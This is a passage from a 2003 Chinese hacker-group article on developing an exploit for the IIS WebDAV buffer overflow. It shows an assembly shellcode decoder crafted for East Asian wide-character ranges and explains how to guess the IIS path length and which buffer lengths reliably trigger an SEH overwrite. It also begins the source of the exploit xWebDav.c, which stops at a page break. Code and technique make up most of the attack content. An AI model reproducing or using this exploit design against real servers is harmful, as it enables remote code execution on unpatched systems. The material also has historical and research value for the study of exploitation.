WebDav漏洞简单分析及通用exploit设计 || 中国X黑客小组


	您现在的位置：中国X黑客小组 >> 技术文章 >> 安全防御 >> 漏洞分析 >> 文章正文	用户登录新用户注册

WebDav漏洞简单分析及通用exploit设计

热荐 ★★★

【字体：小大】

WebDav漏洞简单分析及通用exploit设计

作者：eyas 文章来源：CnXHacker.Net 点击数：更新时间：2003-5-18

-<<1>>
     /*解码*/
     sub  al,DATABASE//2c 64
     /*保存至ecx*/
     push    eax//50
     pop    ecx//59
     inc    esi//无用代码，为迁就指令范围 46  -------<<1>>还原esi值
     dec    edi//无用代码，为迁就指令范围 4f  -------<<2>>
     inc    edi//无用代码，为迁就指令范围 47  -------<<2>>
     NOP       //无用代码，为迁就指令范围 90

     inc    ebx//无用代码，为迁就指令范围 43
     /*读取两个字节，以esi为索引*/
     lodsw//66 AD
     push    eax//无用代码，为迁就指令范围 50   -------<<4>>
     dec    ebx//无用代码，为迁就指令范围 4b
     pop    eax//无用代码，为迁就指令范围 58   -------<<4>>
     /*解码*/
     sub  al,DATABASE//2c 64

     /*--------------组合解码后的内容--------------------*/
     dec    edx//无用代码，为迁就指令范围 4a
     push    edi//57 保存edi，因为后面要用到              ----->>[1]
     /*将ecx值转移到edi*/
     push    ecx//51
     NOP//无用代码，为迁就指令范围 90
     NOP//无用代码，为迁就指令范围 90
     pop    edi//5f
     /* edi*0x10 */
     add    edi,edi//03 ff
     add    edi,edi
     add    edi,edi
     add    edi,edi
     /*将第二位解码的结果(eax) + 第一位(edi*0x10)，运算得到最后结果*/
     xchg    eax,ecx//91
     add    ecx,edi//03 cf
     xchg    eax,ecx//91

     /*恢复edi值*/
     NOP//无用代码，为迁就指令范围 90
     pop    edi//5f           -------->>[1]
     /*将解码后的内容保存，以edi为索引*/
     stosb//aa
     NOP//无用代码，为迁就指令范围 90

     inc    ecx//无用代码，为迁就指令范围 41
     jz  looplock//74 ca            |
     NOP//无用代码，为迁就指令范围 90        |
     push    ecx//无用代码，为迁就指令范围 51    |--->不能用会影响标志位的指令
     NOP//90                |
     pop    ecx//无用代码，为迁就指令范围 59    |
     jnz looplock//75 c4
     dec    esi//无用代码，为迁就指令范围 4e 这代码永远不会执行
     /*解码代码结束标记*/
     _emit(0x97)
     _emit(0x6F)
     /**/
     _emit(0x0)
     _emit(0x0)
     _emit(0x0)
     _emit(0x0)
     NOP
     NOP
     NOP
     NOP
     NOP
     NOP
     NOP
     NOP

    }
}

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-=

    -=-=-=- 第三部分 IIS Path长度的问题 -=-=-=-

    webdav漏洞溢出点本来是固定的，但因为有IIS Path长度不确定这个问题，事实上这就成了溢出点
不确定的漏洞了。
    据我的理解，IIS Path长度造成溢出点不确定这种问题 ,我们可以用两种办法来解决：

    (1)采用yuange提出的半连续覆盖方法。不管IIS Path有多长，也不管它精确的溢出点，最多只要
猜测8次，让我们的jmp addr对准要覆盖的地方就可以了。事实上因为我们发送的字符要转换成为UNICODE，
所以最多只需要猜测四次就可以了。优点：不需知道精确溢出点，只需猜测4次；缺点：可能要付出搞DOWN
3次IIS的代价。

    (2)猜测IIS Path的长度。我们要精确的控制发送的buff的长度，确定在path长度没有猜中的情况下不会
使IIS触发溢出。我们发送的buff结构如下：
    ($guess_path_len + )$nop_for_对齐_ret + $jmpover + $ret + $shellcode + $nop
    我们要保证上述buff在path没猜准的时候不溢出，但一但准确，不仅要使他溢出，而且要刚好让我们的
jmp addr覆盖在SEH或ret。这种情况，IIS path的长度我们只能从大往小猜。因为：
    假如path实际长度是20，我们猜是30，咱们发送的buff长度是 65536-30=65506，实际上此时服务
器处理的buff就是65506+20=65526字节了，溢出没发生。当我们从30猜到21的时候，溢出都不会发生，但
到了20的时候，溢出发生了，我们的jmp addr也刚好覆盖在我们指定的位置。
    反过来从小往大猜的时候，不管path猜没猜准，都会触发IIS溢出。

    后来测试的时候发现，并非buff超过65535就一定会触发堆栈溢出，但超过65535会导致短整型数溢出
这是肯定的。我们看看相关代码：

ntdll!RtlDosPathNameToNtPathName_U+3A:
77f8b036 push    dword ptr [ebp+0x8]
77f8b039 lea     eax,[ebp-0x30]
77f8b03c push    eax
77f8b03d call    ntdll!RtlInitUnicodeString (77f83c6d)
77f8b042 cmp     word ptr [ebp-0x30],0x8//判断长度是否小于等于8，是的话跳转
77f8b047 jbe ntdll!RtlDosPathNameToNtPathName_U+0x71 (77f8b056)
77f8b049 mov     eax,[ebp-0x2c]//ebp-0x2c存放的是buff的地址
77f8b04c cmp     word ptr [eax],0x5c//判断buff的第一位是否为'\'，是的话跳转
77f8b050 je ntdll!RtlDosPathNameToNtPathName_U+0x56 (77f84049)
77f8b056 and     byte ptr [ebp-0x64],0x0
77f8b05a lea     eax,[ebp-0x270]


   因为传递给GetFileAttributesExW的文件名都是"\\?\c:\xx"形式，所以在上述77f8b050中肯定会跳转。
一跳转的话，就不能触发堆栈溢出了，原因？没有继续跟踪，有兴趣的朋友自己去跟踪吧。：）
    所以我们要让77f8b047处的代码跳转，即让UNICODE_STRING结构中的Length小于等于8。也就是说buff
长度要介于65536、65544之间。因buff是UNICODE形式，所以能触发堆栈溢出的buff长度就只有如下几个：
65536，65538，55540，65542，65544。后来发现buff长度为65536，即UNICODE_STRING结构中的Length为
0的时候，也不能触发堆栈溢出。所以，buff长度必须是65538、55540、65542、65544之一才会触发堆栈
溢出。

    有了这种长度限制，我们猜测IIS Path的时候，不但可以从大往小猜，而且可以从小往大猜，在我的
exploit中就是采用了后者。具体怎么猜我就不罗嗦了。

    -=-=-=- 第四部分 exploit -=-=-=-

    现在我们已经有了如下资源：
    <>简体中文、繁体中文、日文、韩文系统上通用的解码代码
    <>知道了怎么样精确的猜测出IIS Path长度，并且在猜中同时将jmp addr精确的覆盖在指定的地方。
    我们还需要：
    <>符合上述四种平台wide char范围的jmpover代码。这个简单。
    <>jmp addr地址。在我的exploit中采用的是覆盖SEH，所以jmpaddr可以用call ebx，
或push ebx;ret，前者容易在系统dll中找到，但后者就比较少了。注意：jmpaddr地址也必须符合相应平台
的wide char范围。找出各种平台通用的地址很难，至少我没有找到。但是我发现简体中文、繁体中文中某些
系统DLL是一样的，所以能找到相同的地址。在日文、韩文中也有某些系统DLL是一样的，也能找到相同的
地址。


-=-=-=-=-=-=-=-=-=-=-=-=-=-= xWebDav.c -=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-==-=-=-=-=
#include <winsock2.h>
#include <windows.h>
#include <stdio.h>

#pragma  comment(lib,"ws2_32")
#define    NOPCODE                0x4F//0x4F//'O'
#define BUFFLEN                65536+8//传递给GetFileAttribeExW的buff长度
#define OVERPOINT            0x260//溢出点-0x14 SEH-0x4
#define    MaxTry                8//连接失败后重试次数
#define    DefaultOffset            23
#define    RecvTimeOut            30000//ms, 30s
#define    StartOffset            6
#define    EndOffset            80
#define    RetAddrNum            12//可用的ret addr数量
/*严重错误，程序退出*/
#define    ERROR_OTHER            0//other error
#define    ERROR_METHOD_NOT_SUPORT        1//no valu
#define    ERROR_NOT_IIS  &n

上一页 [1] [2] [3] [4] [5] [6] [7] 下一页

文章录入：IceRiver 责任编辑：IceRiver

上一篇文章： Sql Injection with Access

下一篇文章：漂亮但不安全的CTB

【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口】

最新热点		最新推荐		相关文章
				通过建立安全模型保障Web数据 US CERT:谷歌eBay雅虎网站均 webshell下分离大文件资料经典Webshell提权集合九招四成Facebook用户轻易泄露身 FaceBook源代码泄漏机器数量庞大 Google成WEB服 Web2.0带来营销领域深刻变化安全专家：Web 2.0站点的coo Web安全性问题的层次关系

　网友评论：（只显示最新5条。评论内容只代表网友观点，与本站立场无关！）


关于我们 - 版权声明 - 帮助(？) - 广告服务 - 联系我们 - 友情链接 - 用户注册 -	Powered by ICE RIVER - STUDIO

» CnXHacker.CoM